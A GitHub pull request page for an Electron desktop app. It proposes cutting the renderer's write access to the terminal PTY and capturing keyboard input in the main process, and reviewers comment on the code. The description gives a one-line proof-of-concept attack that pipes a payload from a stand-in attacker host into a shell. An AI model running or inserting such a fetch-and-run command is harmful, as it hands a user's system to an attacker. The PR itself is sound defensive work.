Skip to content

Conversation

@priya-patel04
Copy link
Collaborator

@priya-patel04 priya-patel04 commented Jan 28, 2026

Description

Unrestricted Terminal Access - Electron security issue

Current electron architecture has a bidirectional flow :

  1. Renderer to Pty (Write Access): Renderer(UI) -> Preload (contextbridge) -> Main process -> PTY
  2. Pty to Renderer (Read Access) : Pty outputs back to Renderer UI for display.

The main issue is enabling write access to Renderer as it could write ANY data to the PTY and exposing user's full system access.

Exmaple:

window.terminal.create({id: 'malicious', cols: 80, rows: 24})
window.terminal.send('curl attacker.com/payload | sh\n', 'malicious')

This POC is to move towards unidirectional flow where Renderer does not have any write access to PTY and only has read access. We will capture user's input through Electron's before-input-event handler. It intercepts keyboard input at the main process before it reaches the renderer.

Also created a Terminal Manager Service to:

  1. Keep track of active terminal tracking via focus/blur events that will capture user's input
  2. Input validation and sanitization and key mapping - When before-input-event captures keyboard input, it provides raw keyboard event data that doesn't directly match what terminals expect. We need key mapping to translate it to terminal understandable format
  3. PTY process management

Screenshots (if appropriate)

How to Test

Checklist

  • I have added before and after screenshots for UI changes
  • I have added JSON response output for API changes
  • I have added steps to reproduce and test for bug fixes in the description
  • I have commented on my code, particularly in hard-to-understand areas
  • My changes generate no new warnings
  • I have added tests that prove my fix is effective or that my feature works
  • I have added a11y-tests label to run a11y audit tests if needed

PCI review checklist

  • I have documented a clear reason for, and description of, the change I am making.
  • If applicable, I've documented a plan to revert these changes if they require more than reverting the pull request.
  • If applicable, I've documented the impact of any changes to security controls.
    Examples of changes to security controls include using new access control methods, adding or removing logging pipelines, etc.

@vercel
Copy link

vercel bot commented Jan 28, 2026

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Review Updated (UTC)
boundary-ui Ready Ready Preview, Comment Jan 28, 2026 6:03pm
boundary-ui-desktop Ready Ready Preview, Comment Jan 28, 2026 6:03pm

Request Review

Copy link
Collaborator

@ZedLi ZedLi left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think this is a great proof of concept and really would help remove another attack vector! Mainly have some relatively minor comments and the main question of how we handle the mapping of events back to certain escape sequences

this.#setupTerminal(fitAddon, xterm, termContainer);
this.#setupTerminal(fitAddon, xterm, termContainer, {
autoSSH,
sessionId: model?.id,
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This could've just been destructured from the model earlier

Comment on lines +16 to +19
if (id === null) {
this.activeTerminalId = null;
return;
}
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is there a purpose to this extra if for setting id to null? Seems like we could check to see if there's a non-null terminal id for the set check and then just save regardless of the value.

Copy link
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I added it to avoid the check of validating terminal Id, since the value is null. But yes better would be just do this instead

setActiveTerminalId(id) {
  if (id !== null && !this.terminals.has(id)) {
    throw new Error(`No terminal registered with id: ${id}`);
  }
  this.activeTerminalId = id;
}

this.activeTerminalId = null;
}

getActiveTerminalId() {
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Should these have been actual getters and setters backed by a private field?

Comment on lines +75 to +76
const terminalShell = this.getTerminalShell();
const options = this.getTerminalOptions(validatedPayload);
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Did these need separate functions? It seems like they're also very short functions that aren't reused and could be inlined

Copy link
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

yeah it does not need to be separate functions, we can remove them

Comment on lines +70 to +72
if (!session) {
throw new Error(`No session found with id: ${sessionId}`);
}
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why are we validating if the session is found by DC? We should still be able to open a terminal even if it wasn't started by our DC, this would completely error out now otherwise if we went to a session opened by CLI for example


class TerminalManager {
constructor() {
this.terminals = new Map();
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think it's fine to have a terminals field for the future but right now we only ever can ever have one terminal ongoing at a time so this should only have 0 or 1 in its map.

If we keep it, we should leave a comment.


ipcMain.once(removeChannel, cleanup);

ptyProcess.once('exit', cleanup);
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What's the purpose of this line, if the process has exited, why do we try to kill it?

Copy link
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Good point, we don't need to kill it once the process has already exited as it is already dead. We can just keep cleanup of terminals and channels on exit.

/**
* Convert keyboard input into sanitized data for PTY write
*/
getSecureDataFromInput(input) {
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What's the plan for other controls like alt/opt or cmd? For example it seems I can no longer go back one word at a time in the terminal, will we map all of these? How about escape sequences such as here?

This is an area we likely need to add unit tests if so

Copy link
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This was just to cover base cases, but yeah we would need to cover all key mappings similar to xterm. We may end up extracting logic from xterm's evaluateKeyboardEvent

Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks like we also lost copy/paste functionality but was something handled by xterm, the previous onData:

Adds an event listener for when a data event fires. This happens for example when the user types or pastes into the terminal. The event value is whatever string results, in a typical setup, this should be passed on to the backing pty.

Capturing the clipboard contents can be done with electron's clipboard, although it might need to be tested if the keyboard event could be captured and the clipboard contents replaced? It looks like electron deprecated access from the renderer but I wonder about injection browser APIs

Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks like text selection, and being able to copy that selection, from the terminal itself wouldn't work either which is a pretty big feature of using any terminal

const id = payload.id;
const cols = payload.cols;
const rows = payload.rows;
const sessionId = payload.sessionId || null;
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why do we default to null? Seems like a strange default when it likely would be undefined otherwise

Copy link
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Ahh there's no particular reason to keep it null. I moved SSH command generation using session to main process much later and didn't do cleanup and missed this. undefined would make sense.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants